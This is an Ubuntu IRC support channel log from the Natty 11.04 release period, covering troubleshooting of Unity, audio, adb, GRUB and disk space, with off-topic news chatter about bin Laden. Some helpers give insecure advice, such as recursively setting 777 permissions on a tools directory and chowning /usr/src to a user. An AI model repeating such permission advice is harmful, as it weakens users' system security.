[03:30] <Jordan_U> calamari: It did the first time I used it and directed it to you.
[03:30] <Jordan_U> litropy: You're welcome.
[03:30] <Steela> sud
[03:31] <Darren> hey i have a problem
[03:31] <calamari> lol that's funny.. I guess I never thought about that.. if .ICE got messed up I'd just fix it
[03:31] <calamari> well good to know I guess
[03:32] <calamari> Steela: I guess your command now would be gksudo k3b
[03:32] <Jordan_U> Steela: Are you using Ubuntu 11.04?
[03:32] <Darren> Can anyone help me with an upgrading problem>
[03:33] <Darren> ?
[03:33] <killer_> I'm looking for a file manager program that when copying a file from one system to another, it gives the transfer rate. I have tried Thunar and PCManFM 0.9.7.  What other options are there?  I am running Crunchbang which is why I do not have naudiaus(sp?) and am on a netbook so I prefer to stay away from resource hogs.
[03:33] <KM0201> calamari: of course, the issue becomes, if someone doesn't know how to fix it
[03:33] <Viking667> How do I ADD workspaces to the four that exist from the Unity workspace switcher?
[03:33] <Logan_> !ask | Darren
[03:33] <ubottu> Darren: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[03:34] <xangua> killer_: only ubuntu support here
[03:34] <trism> Viking667: in ccsm under general options on the desktop tab
[03:34] <calamari> wdbl: I was thinking about that the other day ... actually with /usr/src. if a regular user had write access to /usr/src.. a malicious user could fill up the partition /usr . I don't know if that is THE answer, but just a possibility
[03:35] <Darren> Why is it that after i have upgraded, the backlight doesnt turn on?
[03:35] <killer_> roger.  Can someone verify naudiaus has the transfer rate?  An example of such is with any Windows where there is a rate of 11.7 mb / sec (or whatever values depending on cpu usage/network/etc)
[03:35] <Viking667> hm. CCSM being ... the compizconfig?
[03:35] <wdbl> calamari: thanks, I didn't think about that. I think I will just make a src directory in my home.
[03:36] <wdbl> we'll see what happens I guess
[03:36] <trism> Viking667: yes compizconfig-settings-manager
[03:36] <Bsims> dumb question but how to I turn off the disappearing slider feature for gtk apps?
[03:36] <calamari> wdbl: if it's just your system you could also change the permissions
[03:36] <Steela> Calami
[03:36] <Viking667> looking there now...
[03:36] <Logan_> killer_: /join #crunchbang
[03:37] <Viking667> THANK you. I was looking in the wrong places.
[03:37] <MoleMan> anybody tell me what the 'omitting directory' error is caused by when attempting to use a cp command?
[03:37] <josefig> hello, I want to start my ubuntu on console mode how may I do this ? I mean not in gdm and when I want to start the X doing it by console.
[03:37] <wdbl> calamari: I guess I'm just wondering what the best practice is. I don't do any coding on *nix ever.
[03:37]  * Viking667 ticks another thing off his list
[03:37] <calamari> MoleMan: it means it detected a directory and you didn't use -R
[03:37] <Steela> I have this something about error , then it said try "TAO" the error was a number but I didnt get it
[03:37] <Jordan_U> MoleMan: cp will only copy directories if given the '-r' option.
[03:37] <Viking667> now, how do I actually change DESKTOPs, not virtual spaces?
[03:37] <MoleMan> Jordan_U: thanks
[03:38] <Stelpa> uhh crap
[03:38] <calamari> wdbl: I'm not sure either
[03:38] <Jordan_U> MoleMan: You're welcome.
[03:38] <Darren> is my backlight not turning on due to a kernel bug?
[03:38] <Stelpa> I think I might have deleted my trash
[03:38] <killer_> Can someone explain Unity.  I don't understand what it is.  I use ubuntu 10.04 on my desktop and I don't think it's there.  After looking at screenshots, it appears to be a fancy speed list to open applications. Is there more to it?
[03:38] <wdbl> calamari: you know what though, it's probably better to change the permissions because sometimes you want a different user to have access, like build services or whatever
[03:38] <Stelpa> like, the trash "folder" itself
[03:38] <Stelpa> I did "sudo rm -r /home/userID/.local/share/Trash/"
[03:38] <Stelpa> >_<
[03:38] <wdbl> calamari: so, /usr/local/src is better
[03:39] <bromide_bro> is there some particular reason why this ubuntu installer is telling me i need 4.4 gb of hard disk space when the boot disk is only something like 600mb
[03:39] <eiriksvin> well i finally found out whats been going on with my Natty, it was the graphics driver, problem is i have it but dont know how to activate it, it just says its not in use what do i do?
[03:39] <Bsims> Grrr system bell isn't working anyone have any idea why?
[03:39] <calamari> wdbl: cool then. I just hacked mine with chown username.username /usr/src   .. defininely not the best practice but it worked for me :)
[03:39] <bromide_bro> because this is an old asus netbook and it only has 2 gb of hdd
[03:39] <Stelpa> ello?
[03:39] <Jordan_U> bromide_bro: The CD is compressed.
[03:39] <Bsims> Grrr system bell isn't working anyone have any idea why?
[03:39] <Steela> Calami I think I know what wrong when I typed sudo k3b I got this long message want to see
[03:39] <Viking667> bromide_bro: and the deb packages expand to bigger than 600Mb when uncompressed
[03:40] <calamari> Steela: ok
[03:40] <Darren> why is my backlight not turning on in 11.04?
[03:40] <Steela> http://pastebin.com/xX1v565f
[03:40] <bromide_bro> really... i wonder what the heck they added that makes the new install so huge
[03:40] <Jordan_U> bromide_bro: The space requirement hasn't changed.
[03:40] <Viking667> bromide_bro: what's on the CDROM is a single compressed filesystem, and the contents (usually) gets copied over uncompressed.
[03:40] <bromide_bro> at any rate, i guess i can't install 11.04 on this netbook
[03:40] <calamari> Steela: I thought I said to use gksudo because they corrected me.. guess you missed it
[03:41] <calamari> Steela: but still.. the program should have loaded
[03:41] <bromide_bro> jordan_u:  it must have; i've had more than enough disk space to install ubuntu on this netbook before
[03:41] <Jordan_U> bromide_bro: How big is your hard drive?
[03:41] <bromide_bro> 2gb
[03:42] <Steela> want me to re try
[03:42] <Steela> so "gksudo k3b" then burn to iso
[03:42] <calamari> Steela: well did k3b load ?
[03:42] <Steela> it loaded last time
[03:42] <bromide_bro> the last version on this was probably something like 10.04, but i don't remember exactly... it didn't have this new installer
[03:42] <Guest17770> Bib laden dead
[03:42] <tully> 8 inches
[03:42] <gonzalo> Thank you, Ubuntu Community, and thanks to HyperShock!
[03:42] <calamari> Steela: did it work to burn?
[03:42] <Jordan_U> bromide_bro: That would not be "more than enough" space for any release of Ubuntu, except maybe netbook editions which may be smaller than Desktop.
[03:42] <_Neytiri_> how do i add a user with a home directory different than /home
[03:42] <Stafngrimr> Last version was 10.10
[03:43] <chris_008> Help room--What program can I use to open a DOS executable file to change some parameters?
[03:43] <Steela> it still didnt work it gave me that message about klauncher when i looked back in terminal
[03:43] <Steela> NO
[03:43] <calamari> Steela: so it still complained about permissions
[03:43] <bromide_bro> i definitely only installed the netbook versions
[03:43] <Jordan_U> !ot | Guest17770
[03:43] <ubottu> Guest17770: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[03:43] <Steela> No it said I had root
[03:43] <Viking667> chris_008: err, you can't.
[03:43] <bromide_bro> it's  a shame they discontinued that line (did they?)
[03:43] <Steela> It was a number
[03:43] <Viking667> ... not without a hex editor. And that's not covered by Ubuntu support.
[03:43] <calamari> Steela: oh cool.. guess k3b got smarter since the lasty time I tried that hack.. lol
[03:44] <chris_008> Viking: Hrmm, what about a PC program in Wine to do the edit?
[03:44] <calamari> Steela: I want to see it here, 1 min
[03:44] <Rehan> could anyone help me solve the problem of my Virtual Terminals not working? If I do ctrl+alt+F1 i get a black screen and then the only way I can get back to my screen is by doing ctrl+alt+F8
[03:44] <Flynsarmy> Hey usually I install msttcorefonts but apparently in natty there's only ttf-mscorefonts-installer and it's already insatalled yet reddit fonts look pretty different. any ideas?
[03:44] <Bsims> anyone know why I can't turn on the system bell, and how to get sliders visible in gtk2 apps?
[03:45] <hidn_shadows> Hey guys, Brasero's giving me a bit of trouble. It's asking for two packages, "mplex" and "dvdauthor". The problem is, they don't seem to exist. What alternatives do I have, or what server are the packages on?
[03:45] <Stafngrimr> kill
[03:45] <Stafngrimr> er
[03:45] <bromide_bro> i'll try netbook edition 10.10, then
[03:45] <Steela> hey guys I know this is an ubuntu room, but Osama Bin Laden has been caught and he is dead
[03:45] <xangua> Steela: stop that
[03:45] <calamari> Steela: so it gives the warning and lets you close the warning. does it then let you burn?
[03:45] <Cairo> Steela: who?
[03:45] <HyperShock> _Neytiri_: open users and groups, then select user, then select advanced button, then in popped up windows, hit 'advanced' tab, tell the new directory there
[03:45] <Steela> Sorry, I just heard it on CNN
[03:46] <Steela> it some big news
[03:46] <_Neytiri_> HyperShock, i am runung CLI only
[03:46] <dibs> hats off to the devs. I just got Natty running and just wanted to come and say thanks to all involved in unity and natty's dev. I love it!
[03:46] <bromide_bro> ...can you even download netbook 10.10 from the ubuntu site anymore?  it's not showing up
[03:46] <Stafngrimr> Unity is great
[03:47] <calamari> Steela: good luck with your probs, I'm out for a while
[03:47] <Cairo> bromide_bro: i would think so...
[03:47] <Cairo> why not 11.04?
[03:47] <^Phantom^> What?
[03:47] <^Phantom^> I got asked the language of england before I could join?
[03:47] <bromide_bro> the non-netbook versions require too much disk space for my netbook
[03:47] <hidn_shadows> Anyone know about the two missing packages from Brasero? Mplex and Dvdauthor
[03:47] <Stafngrimr> Theres only one version of 11.04 I think isnt there
[03:47] <hidn_shadows> ^Phantom^, they're just checking to make sure you arent' a bot
[03:48] <bromide_bro> and the netbook edition has been discontinued
[03:48] <^Phantom^> hidn_shadows, ah
[03:48] <Steela> calami please
[03:48] <^Phantom^> i had to restart
[03:48] <samplezt> how can i make more desktops on ubuntu 11.04?
[03:48] <Steela> shoot
[03:48] <bromide_bro> since i guess most netbooks these days have more than 2gb hard drive space
[03:48] <Cairo> bromide_bro: so just use the 11.04 netbook edition
[03:48] <mrdeb> is 1104 good now?
[03:48] <Steela> no one to help me
[03:48] <bromide_bro> it hasn't got one
[03:48] <^Phantom^> I guess my system does restart pretty quickly when I boot to ubuntu, XD @ hidn_shadows
[03:48] <xangua> bromide_bro: just got unified
[03:48] <Cairo> bromide_bro: oh...
[03:48] <^Phantom^> It's a nice OS to have alongside windows
[03:48] <Cairo> there should be one...
[03:48] <Stafngrimr> Someone has a 2gb hdd?
[03:48] <HyperShock> _Neytiri_: after you use 'adduser' to add the user to the system use 'usermod <username> --home <directory_path>'
[03:48] <tully> BIN LADEN IS DEAD!
[03:48] <Cairo> ^Phantom^: wInDOws!@#%(&*@
[03:48] <xangua> tully drop it
[03:49] <^Phantom^> Stafngrimr, they still make 2GB HDDs?
[03:49] <xangua> !ot
[03:49] <ubottu> #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[03:49] <^Phantom^> Cairo, i'm running the superior OS right now
[03:49] <tully> we did drop it, right on his face hold
[03:49] <tully> hole*
[03:49] <eigba_> Why are the complaints about unity? You can revert back to Gnome to by choosing Ubuntu classic from gdm login manager correct?
[03:49] <eiriksvin> anyone have any luck getting Rune of Magic to work?
[03:49] <_Neytiri_> ty
[03:49] <Rehan> could anyone help me solve the problem of my Virtual Terminals not working? If I do ctrl+alt+F1 i get a black screen and then the only way I can get back to my screen is by doing ctrl+alt+F8
[03:49] <eiriksvin> Runes
[03:49] <BrotherJ> Are there any good games on Ubuntu?
[03:49] <mrdeb> eigba_: nothing real. unity works well
[03:50] <Steela> I know I announced that already tully I got int trouble
[03:50] <Flynsarmy> Anyone else noticing VLC icon rarely appears in classic 11.04?
[03:50] <mrdeb> does anyone know how to install unreal tournmane 2004 on ubuntu x64?
[03:50] <Rehan> could anyone help me solve the problem of my Virtual Terminals not working? If I do ctrl+alt+F1 i get a black screen and then the only way I can get back to my screen is by doing ctrl+alt+F8
[03:50] <Guest39437> !paste
[03:50] <ubottu> For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[03:50] <eigba_> mrdeb: I like unity, however many are complaining about it, but choosing ubuntu classic from gdm login manager loads gnome 2 correct?
[03:50] <bromide_bro> this is unusual.  i could've sworn the ubuntu website used to host all of the old versions
[03:50] <mrdeb> eigba_: yes it loads gnome 2
[03:50] <Stafngrimr> Yeah you can load gnome2
[03:50] <Steela> xangua most not live anywhere near where he killed 3,000 + of our ppl
[03:51] <xangua> !ot | Steela
[03:51] <ubottu> Steela: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[03:51] <Stafngrimr> I dont have any problems with Unity personally. I quite like it
[03:52] <eigba_> Stafngrimr: You know its growing on me alot actually, Its nice to have a new Desktop enviroment to play with
[03:52] <bison> what kind of error is this? http://paste.ubuntu.com/602096/
[03:52] <beachbum_Bob> how do i upgrade from clamtk 4.30 to clamtk 4.32 ?
[03:52] <eiriksvin> im trying so hard to get Runes of Magic to work, everything is good, but my screen stays black, i saw a picture once, but i cant seem to even get that repeated
[03:52] <isarl> How do I move the Unity bar around? I have multiple monitors and would like it on the far left edge, not the left edge of the right-hand monitor.
[03:53] <Cairo> isarl: someone said that you couldn't
[03:53] <eiriksvin> you cant
[03:53] <nawk> is it a normal behaviour to experience choppiness in flash video playback using the 64-bit Adobe Flash Player for linux?
[03:53] <isarl> wow, that's awesome.  For real?!
[03:53] <xangua> beachbum_Bob: use the clamav ppa
[03:53] <mrdeb> nawk: depends on te website
[03:53] <eiriksvin> <isarl>you cant not == supported yet
[03:53] <xangua> nawk: yes
[03:53] <beachbum_Bob> thanks xangua
[03:53] <A> I need to make an announcement
[03:53] <nawk> xangua: and I do mean *choppy
[03:54] <eiriksvin> give it another month somone will find a way!
[03:54] <eigba_> Well you can play with your video driver settings an rotate screen, but then you will have to browse and such with everything else sideways :) hahaha
[03:54] <bison> what kind of error is this? http://paste.ubuntu.com/602096/
[03:54] <eigba_> All joking aside I wish you could move the bar
[03:54] <solid_liq> yay! bin laden is dead!!
[03:55] <Romance> any good about 11.04 ?
[03:55] <nawk> xangua: I am referring to the "Square" release, if you know which version of adobe player for linux I am talking about
[03:55] <nfm> Hi, I tried installing KDE on the default Ubuntu 11.04, but then switched back. Unfortunately the splash screen at boot up  still says "Kubuntu". Is there an easy fix for this?
[03:55] <hidn_shadows> Hey guys, Brasero's giving me a bit of trouble. It's asking for two packages, "mplex" and "dvdauthor". The problem is, they don't seem to exist. What alternatives do I have, or what server are the packages on?
[03:55] <kazu> hi, could you teach install ubuntu-server 11.04(amd64) about uEFI architecture ?
[03:55] <eiriksvin> yeah, itll happen, there are plenty of people wanting to do that
[03:55] <isarl> Romance: No.  Nothing.  Don't use it.  Unity should die in a fire.  Stay on 10.10 while you still can.
[03:55] <damon> nawk: I installed square via apt-get or something and it works fine
[03:55] <isarl> Romance: I'm not being sarcastic.  I've had nothing but trouble since I updated.  AVOID.
[03:55] <isarl> Romance: The term "bleeding edge" comes to mind.
[03:55] <AADFS> Wehn selecting graphics for Nivida drivers, select version 173 version
[03:56] <nawk> damon: square is in which repo?
[03:56] <nawk> square: restricted?
[03:56] <eigba_> Brb I just farted out a butt turd
[03:56] <nawk> damon, restricted?
[03:56] <spiderX> hi, is there any free mysql gui client for ubuntu?
[03:56] <damon> nawk: http://www.webupd8.org/2010/09/adobe-flash-player-square-102-64bit.html
[03:56] <Bsims> WTH is pcspkr not found as a valid kernel module on natty
[03:56] <Romance> isarl : thanks for reminded me. I'll stick with 10.04 :)
[03:56] <MoleMan> would it be possible to move the contents of a folder up a directory? something along the lines of 'mv /var/www/citrix/wordpress/* /var/www/citrix/' ?
[03:56] <eiriksvin> but the way i see it, why change your GUI from classic to natty on your release and knowing the huge mods i have done to my old screen, id have to say that was a bad call
[03:57] <isarl> Romance: That works, too.  =)
[03:57] <damon> nawk: think that's the directions I followed.  I'm no ubuntu pro though
[03:57] <spivwaq> Hi all,  there's a Windows Chrome "new tab redirect" extension that lets you change the default new tab location...does such a thing exist for ubuntu?
[03:57] <bison> what kind of error is this? http://paste.ubuntu.com/602096/
[03:57] <eigba_> Anyone running gnome 3?
[03:57] <spiderX> please tell me any mysql gui client for ubuntu~
[03:57] <xangua> eigba_: gnome3 may breack your system if that is what you are asking
[03:57] <astrobus> gnome 3 is on fedora beta
[03:57] <AADFS> Not yest
[03:58] <damon> hey all, does anybody know how to enable dragging and dropping files through a gnome-panel?  This definitely worked through older versions of ubuntu
[03:58] <xangua> !mysql > spiderX
[03:58] <ubottu> spiderX, please see my private message
[03:58] <eigba_> spiderX, You may want to search for a mysql gui client for linux in general.
[03:58] <nawk> is add-apt-repository new?  I've always had to edit the source.list myself
[03:58] <tamara__> hi
[03:58] <tamara__> i have a kolke cam
[03:58] <bison> i can't use my ubuntu software center, the error is here "http://paste.ubuntu.com/602096/"
[03:58] <tamara__> and i cant make it work in ubuntu
[03:58] <xangua> nawk: as new as ubuntu 9.10
[03:59] <tamara__> a cant find any driver on internet
[03:59] <xangua> tamara__: installed cheese ¿
[03:59] <eiriksvin> my thoughts is that they should have went with an ultra easy custimisable desktop
[03:59] <AADFS> Gnome 3 =/= Unity
[03:59] <AADFS> Not compatible
[03:59] <yanger> i'm probably doing something not right, apt-get remove apache2 to remove the apache server (replacing it with lighttpd) but apache still exists in start scripts [binds port 80]
[03:59] <AADFS> And you cant downgrade to unity after going to GNOME 3
[04:00] <MoleMan> command for delete?
[04:00] <tamara__> kolke webcam
[04:00] <eiriksvin> all set with the tools to let any user design their desktop in a smooth and seamless way
[04:00] <spicytaco> can anyone read this?
[04:00] <mrdeb> yes
[04:00] <eiriksvin> yep
[04:00] <xangua> AADFS: sudo apt-get install ppa-purge && sudo ppa-purge <ppa's name>
[04:00] <eigba_> AADFS, Why not? It can be done, just maybe not easy
[04:00] <isarl> spicytaco: No, I can't.  I'm illiterate.
[04:00] <hidn_shadows> Hey guys, "old school" 10.04's brasero is giving me trouble about not having two packages, "mplex" and "dvdauthor" Are there alternative packages, do I need to update something, anyone know?
[04:00] <tamara__> can u readme?
[04:01] <AADFS> BYE!
[04:01] <eiriksvin> <spicytaco>not so loud but clear:)
[04:01] <taglass> eiriksvin: I disagree.  That's asking for a support nightmare, and support is one of the few ways CAnonical makes money.
[04:01] <Bsims> I can't enable system bell, or make gtk app sliders visible at all times any ideas?
[04:01] <celthunder> Bsims: pulseaudio oss or alsa?
[04:01] <bison> i can't use my ubuntu software center, the error is here "http://paste.ubuntu.com/602096/"
[04:02] <eiriksvin> they could easily have made the GUI ultra custom and offered ends to can
[04:02] <celthunder> tamara__: i could read that line
[04:02] <Bsims> in a terminal
[04:02] <spicytaco> isarl:i am having difficultis you see i click join this one channel and it said if you do not consent to proxy search leave now then it said you have been banned i did no wrong
[04:02] <eiriksvin> for support
[04:02] <OY1R> now on 11.04
[04:02] <Bsims> celthunder: terminal I am running pulseaudio but its configured to use pc speaker and worked before Natty
[04:03] <mouse> test
[04:03] <OY1R> how messed up the layout ! :P how do i switch to gnome ?
[04:03] <isarl> spicytaco: well, we can all see you just fine. =)
[04:03] <xangua> OY1R: for 'classic' desktop on your login screem
[04:03] <xangua> sceen*
[04:03] <OY1R> ok
[04:03] <Herc> If I upgrade my Ubuntu right now do I need to modify my symlinks settings in apache?
[04:03] <OY1R> what if i autologin ! heh
[04:03] <eiriksvin> im just sick, i cant play Runes of Magic:(
[04:04] <brous-kee> upgrade as oppose to fresh install causes so much headaches
[04:04] <celthunder> bsims ok try load-sample-lazy x11-bell /usr/share/sounds/freedesktop/stereo/dialog-error.oga
[04:04] <celthunder> load-module module-x11-bell sample=x11-bell
[04:05] <spicytaco> isarl: isarl: why can i be banned for nothiing?
[04:05] <Bsims> celthunder: I don't want to comeout via the speakers, I want it to use the beep on pc case
[04:05] <dreamsforgotten> hello everyone, looking for some support in Natty anyone successfully running 32bit scripts?
[04:05] <isarl> spicytaco: couldn't tell you.
[04:05] <newb_> My sound (and microphone) isn't working on a EEEPC 1005-HA netbook. Somebody could help me to identify the problem?
[04:05] <celthunder> Bsims: ah that does exactly the opposite to it lol
[04:05] <taglass> spicytaco: I'm guessing that you're behind a proxy
[04:05] <codeshah> hey guys, I want to add a user to the www-data group - how do I do this? can the user be part of his current group and www-data?
[04:05] <Bsims> celthunder: gets better I can't even modprobe the damned module I need
[04:05] <eiriksvin> Herc if you update, you might not find it all that
[04:05] <celthunder> newb_: do they show up as hardware, pulseuadio oss or alsa and what're you using to test did you check if muted
[04:06] <spicytaco> taglass:i am on a university wireless network I get banned for this?
[04:06] <celthunder> Bsims: can it find it? whats the error from modprobe
[04:06] <eiriksvin> im thinking on going back to 10.10, until they open this whale up
[04:06] <taglass> spicytaco: apparently so, and this really has nothing to do w/ ubuntu support.
[04:06] <Bsims> great now it found it
[04:06] <dibs> I get the odd redraw issue with windows untill I either move or resize them, anyone else get this?
[04:06] <white_gecko> hey hello, is in 11.04 netbook and desktop the same or where can i find the download for a netwook image?
[04:07] <xangua> white_gecko: the same
[04:07] <Bsims> but still no beep
[04:07] <white_gecko> xangua: so i should put desktop on my usb stick
[04:07] <spicytaco> taglass:oh i see, what channel has to do with chatzilla support?
[04:07] <J_ez_2cool> USB ACCESS ON 11.04 HELP
[04:07] <celthunder> spicytaco: #chatzilla ?
[04:07] <eiriksvin> anyone know where i could go for some help getting Runes of Magic working?
[04:08] <dreamsforgotten> Any takers on troubleshooting ADB in natty:  Getting no file or directory in platform-tools/ folder please msg
[04:08] <celthunder> dreamsforgotten: is it in your path?
[04:08] <dreamsforgotten> celthunder yes and it's not working in the actual directory either
[04:08] <spicytaco> celticthunder: that room is empty!
[04:08] <celthunder> permissions?
[04:08] <celthunder> dreamsforgotten: permissions?
[04:08] <white_gecko> there is a link to http://releases.ubuntu.com/11.04/ubuntu-11.04-netbook-i386.iso.torrent on http://www.ubuntu.com/download/ubuntu/alternative-download#bt but it doesn't work
[04:08] <luthfi> hi
[04:09] <celthunder> spicytaco: what're you trying todo with chatzilla i hate it as it's a terible client but ...
[04:09] <celthunder> luthfi: hi
[04:09] <dreamsforgotten> celthunder r+w
[04:09] <celthunder> dreamsforgotten: set it +x lol
[04:09] <celthunder> since most of the stuff in there you're executing
[04:09] <kazuhiko> hi, could you teach install ubuntu-server 11.04(amd64) about uEFI architecture ?
[04:09] <taglass> spicytaco: http://freenode.net/policy.shtml#proxies
[04:09] <celthunder> kazuhiko: ?
[04:09] <dreamsforgotten> celthunder going to try now did that once.  Then installed ia32-libs
[04:10] <celthunder> what about installing it
[04:10] <spicytaco> celthunder: well i have a moral objection to paying for irc software i will not try mIRC, i tried pidgey its nice
[04:10] <celthunder> spicytaco: weechat/irssi or xchat
[04:10] <dreamsforgotten> celthunder chown or chmod
[04:11] <newb_> celthunder: I'm trtying use alsa, but alsamixer don't show the sound input, and the audio output is strange (wheezing). The input it's muted for audacity and skype.
[04:11] <celthunder> dreamsforgotten: chmod
[04:11] <dreamsforgotten> celthunder k
[04:11] <celthunder> newb_: is pulseuadio taking over it?
[04:12] <newb_> celthunder: I've installed pulseaudio, but I don't know how he works to test...
[04:12] <luthfi> can i upgrading 10.10 to 11.04 by using dvd install??
[04:12] <spicytaco> taglass: i do not think the channel was from freenode network-what I did was googled 100 largest irc channels and clicked one
[04:12] <kazuhiko> I try install ubuntu-server 11.04 to IBM X3550M3
[04:13] <celthunder> newb_: i'd bet if the mixer looks wierd and wierd sounds come from alsa that pulse took over the device (or that's what happens for me if i use alsa for something s while pulse is using the hardware
[04:13] <celthunder> kazuhiko: ok where did you get stuck?
[04:13] <spicytaco> celthunder: from xchat wikipedia article, "but the official Windows version is Shareware"
[04:13] <sjshin> #assist
[04:13] <celthunder> spicytaco: silverex.org -- free version for windows
[04:14] <dreamsforgotten> celthunder still no go No command 'adb' found, did you mean:
[04:14] <spicytaco> celthunder: what differences between the two besides one is free?
[04:14] <newb_> celthunder: Then I should not try use aplay or something more who uses alsa directily?
[04:14] <dreamsforgotten> celthunder been at it 3 hours had it working fine in 10.04 is it supported?
[04:14] <celthunder> spicytaco: not much lol it's literally the same
[04:15] <spicytaco> celthunder: great I have no moral objectiion to that!
[04:15] <celthunder> dreamsforgotten: chmod 777 adb then do ./adb
[04:15] <celthunder> dreamsforgotten: if it still doesn't find it something is majorly wrong (like your 32 bit lib's
[04:15] <damon> hey all, does anybody know how to enable dragging and dropping files through a gnome-panel?  This definitely worked through older versions of ubuntu
[04:15] <kazuhiko> celthunder:installation process was completed. but...
[04:16] <dreamsforgotten> celthunder your a godsend!!!  so for now on the ./ is a must right
[04:16] <xangua> damon: if you use unity, you are no using gnome panel
[04:16] <Guest55198> how to change my name
[04:16] <damon> xangua: I'm in ubuntu classic
[04:16] <newb_> celthunder: Hey!!! Banshee player is playing the audios correctily!!! :D
[04:16] <_genuser_> hello people
[04:16] <_genuser_> anybody using netbuntu?
[04:16] <sjmikem> Why don't I have update-rc.d on my ubuntu installation?
[04:17] <sjmikem> ubuntu 13 to be specific
[04:17] <newb_> celthunder: There are no way to do this work for aplay too? And now for audio input?
[04:17] <Guest55198> how to change my name from guest55198 to any other name?
[04:17] <Flannel> sjmikem: There is no such thing as Ubuntu 13.
[04:17] <celthunder> dreamsforgotten: add it to your path and chmod the entire directory like this chmod -R 777 ./
[04:17] <celthunder> and then you can skip the ./ whenever (as long as its in your path
[04:17] <tamara__> hi all
[04:18] <sjmikem> Flannel: oh duh
[04:18] <celthunder> newb_: yeah you can make it work do tthis ps auxf |grep pulseaudio any results oether than your grep command?
[04:18] <tamara__> i have a kolke webcam
[04:18] <sjmikem> thx
[04:18] <tamara__> and i cant make it work in ubuntu
[04:18] <Guest55198> hi is there any change between ubuntu and sabily
[04:18] <celthunder> Guest55198: /nick changes your nick
[04:18] <kazuhiko> grub2 was not find kernel at the time of  boot after the installation.
[04:18] <dreamsforgotten> celthunder Thankyou very much!!!  I'll let you get to those that need it now!
[04:18] <wolfric> anyone see osama is dead
[04:18] <dreamsforgotten> wolfric watching it now
[04:18] <celthunder> dreamsforgotten: lol i'm useless...just helping a few that i can
[04:19] <celthunder> wolfric: do we care?
[04:19] <dreamsforgotten> lol
[04:19] <Flannel> That's offtopic for here, take it to #ubuntu-offtopic, thanks.
[04:19] <harushimo> for android development in ubuntu, is it better to do the plugin for eclipse or the actual sdk
[04:19] <change> Mohammad
[04:19] <celthunder> kazuhiko: what drive did you install grub to and whats the error and what version of grub/etc
[04:19] <taglass> harushimo: You have to have th esdk to use the plugin
[04:19] <celthunder> harushimo: that's up to you but you need the SDK either way
[04:19] <harushimo> that is what I thought
[04:20] <Froq_> where can i get the needed driver for the magic touchpad that apple sells?
[04:20] <harushimo> I just want to make sure. Thank you
[04:20] <_genuser_> guys anyone using netbuntu? the new launcher is too annoying. how to turn it off?
[04:20] <wolfric> celthunder: you may not.
[04:20] <celthunder> _genuser_: launcher for what?
[04:20] <unforgiven512> Is there a known solution or workaround for the "deadzone" in the middle of my screen (using Ubuntu 11.04)?
[04:20]  * WebDawg http://abcnews.go.com/Blotter/osama-bin-laden-killed/story?id=13505703&page=2
[04:20] <newb_> celthunder: I will not paste now because I'm in another pc (the error is at netbook). But yes, I have 3 process for pulseaudio
[04:20] <Flannel> WebDawg: Not here, thanks.
[04:20] <celthunder> newb_: kill them all
[04:20] <xangua> _genuser_: only ubuntu support here
[04:21] <kazuhiko> celthunder: the error message is ..  "error: invalid arch independent ELF magic:
[04:21] <Froq_> where can i get the needed driver for the magic touchpad that apple sells?
[04:21] <celthunder> kazuhiko: did you install 64 bit version on a 32 bit machine
[04:21] <WebDawg> Flannel, I think #ubuntu can make it.
[04:21] <newb_> celthunder: They start again with another PID :-S
[04:21] <Flannel> WebDawg: #ubuntu-offtopic please, not here.
[04:21] <kazuhiko> celthunder: 64bit
[04:22] <newb_> celthunder: Maybe gnome is starting them?
[04:22] <celthunder> kazuhiko: is the processor 32 only?
[04:22] <kazuhiko> no ,
[04:22] <faateh> Is there change between ubuntu and sabily. plz inform
[04:22] <_genuser_> xangua: not even netbuntu?
[04:22] <WebDawg> Flannel, If you think I did that on purpose.
[04:22] <celthunder> faateh: ? depends on your hardware/what you use
[04:22] <dibs> Why do people think ubuntu users care about american political bs? I have redraw issues I need to reolve ffs
[04:22] <kazuhiko> I use install to server IBM X3550M3
[04:22] <_genuser_> xangua: #netbuntu is empty.
[04:23] <_genuser_> I figured ubuntu users would be the ones using netbuntu.
[04:23] <celthunder> _genuser_: launcher for what? X? your WM? your question is a bit generic
[04:23] <_genuser_> celthunder: that is why I specifically said NETBUNTU.
[04:23] <Flannel> faateh: You're better off asking sabily people, they'll know what they changed.
[04:23] <tamara__> kolke drivers for ubuntu ?
[04:23] <_genuser_> it has a launcher that comes with the install for the netbooks. for easy app launching.
[04:24] <faateh> thanks Flannel:
[04:25] <tamara__> webcam kolke, i cant found drivers and i cant make it work
[04:25] <Ziber> So, my laptop (toshiba) is running extremely hot, at about 94C. Any ideas for fixing this?
[04:25] <celthunder> Ziber: laptop-mode-tools
[04:25] <celthunder> also acpi/apm
[04:26] <Ziber> packages?
[04:26] <DrMax> yo
[04:26] <celthunder> Ziber: i'm not on ubuntu so idk the relevant package names but acpi is pretty common service for monitoring stuff like temp/battery and laptop-mode-tools conrols fans/etc
[04:26] <marca311> i have a problem with my hotkeys and reassigning them, thanks in advance
[04:27] <Ziber> Will it monitor it, or solve it tho?
[04:27] <DrMax> the upgrade (to 11.04) crashed while building the kernel, leaving my boot disk without a usable kernel
[04:27] <DrMax> how do I recover from this ?
[04:27] <newb_> celthunder: Well, I've done some progress with your help. Now I need go, it's 00:26h and I need be up at 6:00 to work. I will let the other tests to tomorrow. Really thanks for your help :)
[04:27] <DrMax> (without reinstalling from scratch)
[04:27] <Bsims> How do I disable the disappering reapperaring slider in gtk
[04:27] <axisys> how do I enable automatic security update ?
[04:27] <celthunder> DrMax: boot to a cd and chroot to your system
[04:28] <celthunder> DrMax: then build your kernel and should be fine
[04:28] <DrMax> ok?
[04:28] <DrMax> how do I do that?
[04:29] <marca311> I need to reassign a hotkey on my tablet pc, however, it seems to be hotwired into the occupation of turning my touchpad on and off
[04:29] <kazuhiko> celthunder: usind cpu is Intel(R) Xeon(R) CPU E5620
[04:29] <kazuhiko> i use
[04:29] <marca311> (the ironic part is, i don't have a touchpad)
